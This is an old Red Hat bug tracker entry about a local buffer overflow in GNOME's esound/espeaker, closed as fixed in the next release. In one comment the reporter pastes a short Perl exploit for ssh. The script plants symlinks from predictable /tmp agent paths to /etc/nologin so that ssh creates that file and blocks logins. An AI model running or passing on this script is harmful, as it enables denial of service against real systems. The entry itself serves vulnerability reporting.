Bug 5406
Summary: | Gnome espeaker local buffer overflow vulnerability | ||
---|---|---|---|
Product: | [Retired] Red Hat Linux | Reporter: | zurk |
Component: | gnome-libs | Assignee: | Elliot Lee <sopwith> |
Status: | CLOSED NEXTRELEASE | QA Contact: | |
Severity: | medium | Docs Contact: | |
Priority: | high | ||
Version: | 6.0 | Keywords: | Security |
Target Milestone: | --- | ||
Target Release: | --- | ||
Hardware: | All | ||
OS: | Linux | ||
URL: | http://www.securityfocus.com/data/vulnerabilities/exploits/gnox.sh | ||
Whiteboard: | |||
Fixed In Version: | Doc Type: | Bug Fix | |
Doc Text: | Story Points: | --- | |
Clone Of: | Environment: | ||
Last Closed: | 1999-10-27 20:52:14 UTC | Type: | --- |
Regression: | --- | Mount Type: | --- |
Documentation: | --- | CRM: | |
Verified Versions: | Category: | --- | |
oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
Cloudforms Team: | --- | Target Upstream Version: | |
Embargoed: |
Description
zurk
1999-09-27 20:24:21 UTC
FWIW, there are no setuid/setgid root programs that ship with GNOME. ------- Additional Comments From 10/04/99 20:06 ------- hmm...here's the exploit for ssh : #!/usr/bin/perl $pid = $$; $whoami = `whoami`; chop($whoami); mkdir("/tmp/ssh-$whoami", 0700); for ($i = $pid; $i < $pid+50; $i++) { symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent"); } and a relevant link : http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=660 Huh? What does ssh have to do with gnome-libs? ------- Additional Comments From 10/10/99 17:54 ------- sorry...just found the ssh thing that was floating around and didnt know where to post it..anyway, can we now fix both bugs ? or should i resubmit it somewhere else ? This bug is fixed in esound cvs, will be in next release. |